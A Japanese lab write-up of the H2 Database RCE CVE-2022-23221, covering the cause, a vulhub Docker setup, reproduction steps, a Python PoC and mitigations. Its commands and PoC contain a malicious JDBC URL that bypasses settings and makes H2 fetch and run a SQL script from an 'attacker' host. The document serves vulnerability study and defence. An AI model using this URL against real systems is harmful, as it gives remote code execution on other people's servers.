
H2-database-CVE-2022-23221 — Updated!
vulhub/H2-database/CVE-2022-23221
H2 Database RCE (CVE-2022-23221)
1. 概要
-
H2はリレーショナルデータベース管理システムであり、SQLエンジン内でJavaコードを直接コンパイルして実行できる機能を提供する。
-
H2ドライバはJDBC URLを解析してアプリケーションとデータベース間の接続を確立する。この際、URLに含まれる設定パラメータを通じてデータベースの初期状態や動作を制御することができる。
-
問題となるH2 2.1.210以前のバージョンには、JDBC URLのINITパラメータを通じてリモートSQLスクリプトを実行できるという問題がある。攻撃者がこれを悪用して細工されたSQLスクリプトをリモートから注入し、その内部の構文を通じてシステムコマンドを実行することでCVE-2022-23221脆弱性が引き起こされる。
-
この脆弱性の特徴は以下の通りである。
- 認証不要: JDBC URLを入力できる権限さえあれば、誰でもこの脆弱性を利用してシステムの制御権を奪取することができる。
- サービス起動時の自動実行: 攻撃者が設定ファイルを修正するだけで、H2を使用するサービスが起動する際に自動的にRCE(リモートコード実行)が発生する。
- 隠蔽性: 開発者が攻撃を認識することが難しい。
- 広範な被害範囲: H2の高速性と軽量性により、H2は様々なWebサービスの開発/テスト用として使用されている。設定ファイルを通じて、あるいはユーザーの入力を受けてJDBC URLを設定できるすべての環境がこの脆弱性を利用した攻撃の対象となり得るため、影響力が大きい。
-
脆弱性の影響範囲
- 影響を受けるバージョン: H2 2.1.210未満
- パッチバージョン: H2 2.1.210以上
2. 脆弱性の条件
- H2 2.1.210以前のバージョンであること。
- JDBC URLに
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’が含まれていること。IGNORE_UNKNOWN_SETTINGS=TRUE,FORBID_CREATION=FALSE-> セキュリティ設定のバイパス- このパラメータがあるとセキュリティ設定が無効化されるため、初期化時にリモートスクリプト実行コマンドがブロックされずにそのまま実行される。
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql'-> アプリケーションとDBの接続時に自動的に実行されるSQLコマンド- INITパラメータの値としてSQLコマンドであるRUNSCRIPTと悪性スクリプトのアドレスが含まれている場合、H2はアプリケーションとH2 DBの接続が確立される際に該当サーバーに接続してファイルをダウンロードして実行する。
- ダウンロードしたSQLスクリプトの内部に
CREATE ALIASSQL構文があること。- リモートで実行させるスクリプト内部の
CREATE ALIAS構文は、H2がDB内でスクリプト内のJava関数を実行させるようにし、結果的にRCEが発生する。
- リモートで実行させるスクリプト内部の
3. 環境構成
-
シナリオ
- 脆弱なH2環境を構成し、悪性JDBC URLをH2に入力する。H2はこのURLを適切な検証なしに解析し、attackerサーバーからsqlファイルを受け取って実行する。もしh2-vulnerableサーバーのログに「EXPLOITED」文字列とともにコマンド
id、whoami、pwdの実行結果が出力されれば、これは脆弱なH2環境が構成されており、H2が悪性JDBC URLを解析する過程で外部のattackerサーバーからexploit.sqlファイルがリモートでダウンロードされて実行されたことを意味する。
- 脆弱なH2環境を構成し、悪性JDBC URLをH2に入力する。H2はこのURLを適切な検証なしに解析し、attackerサーバーからsqlファイルを受け取って実行する。もしh2-vulnerableサーバーのログに「EXPLOITED」文字列とともにコマンド
-
環境構成
docker compose up -d
- コマンドを実行すると以下の環境が起動する。
- h2-vulnerable: H2 2.0.206 (パッチ前の脆弱バージョン)
- H2 Webコンソール:
http://your-ip:8082 - TCPサーバー:
tcp://your-ip:9092
- H2 Webコンソール:
- attacker: HTTPサーバー
http://your-ip:8000:exploit.sqlファイルを提供
-
環境構成後、http://your-ip:8082 にアクセスすると H2 ウェブページが表示される。
4. 再現手順
: ウェブコンソールではセキュリティポリシーが適用されているため、脆弱性の条件となるパラメータがフィルタリングされる可能性がある。そのため、悪性パラメータを含む JDBC URL を CLI を通じて直接入力して脆弱性を再現し、その結果を確認する。
[正常リクエスト case]
-
正常 JDBC URL: "jdbc:h2:mem:test"
-
正常リクエストコマンド
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:mem:test" \ -user sa \ -password "" -
実行結果

- attacker サーバーに入ってきたリクエストなし
- h2-vulnerable サーバーに特にログが出力されない
[脆弱性攻撃 case]
- 悪意のある JDBC URL: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
1. 攻撃実行
-
悪性 JDBC URL を H2 ドライバに入力して attacker サーバーとの接続を試みる。このとき URL を入力する方法には 2 つある。
- CLI を通じて H2 Shell に悪性 JDBC URL を直接入力する。
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \ -user sa \ -password ""
- PoC ファイルを実行する。
python3 poc.py
2. ファイルリクエストおよび実行
-
H2 は JDBC URL の INIT パラメータに明示された
INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'のとおり attacker サーバーに exploit.sql ファイルをリクエスト(HTTP GET)し、これを H2 データベース内で実行する。docker logs attackerを実行すると、h2-vulnerable サーバーから入ってきた exploit.sql ファイルリクエストのログを確認できる。
docker logs attacker
- attacker サーバーはリクエストされた exploit.sql ファイルを返し、h2-vulnerable サーバーは受信した exploit.sql ファイルを実行する。このときスクリプト内部の CREATE ALIAS 構文が Java コードの実行を誘導することで RCE が発生する
5. poc.py コード
#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
6. 実行結果
-
exploit.sql ファイルの実行結果として、h2-vulnerable サーバーのログに「EXPLOITED」文字列とともにコマンド
id、whoami、pwdの実行結果が出力される。 -
docker logs h2-vulnerableでログを確認できる。docker logs h2-vulnerable`
=> これは、脆弱な h2 環境が構成されており、H2 が悪意のある JDBC URL を解析する過程でファイルのリモートダウンロードおよび実行が成功したことを意味する。
7. 対策
- H2 2.1.210 以上のバージョンにアップグレードする
- パッチ内容: INIT パラメータの外部スクリプト実行機能を制限
- リリース日: 2022-05-15
- JDBC URL 入力値の検証を強化する: リモートコード実行を引き起こす INIT、RUNSCRIPT などのパラメータを含む入力をブロックし、ホワイトリストベースの方式で JDBC URL 入力を検証する。
- 設定および環境の整合性を監視する: 設定ファイルの変更時に改ざんの有無を検証したうえで、管理者の承認を経るようにする。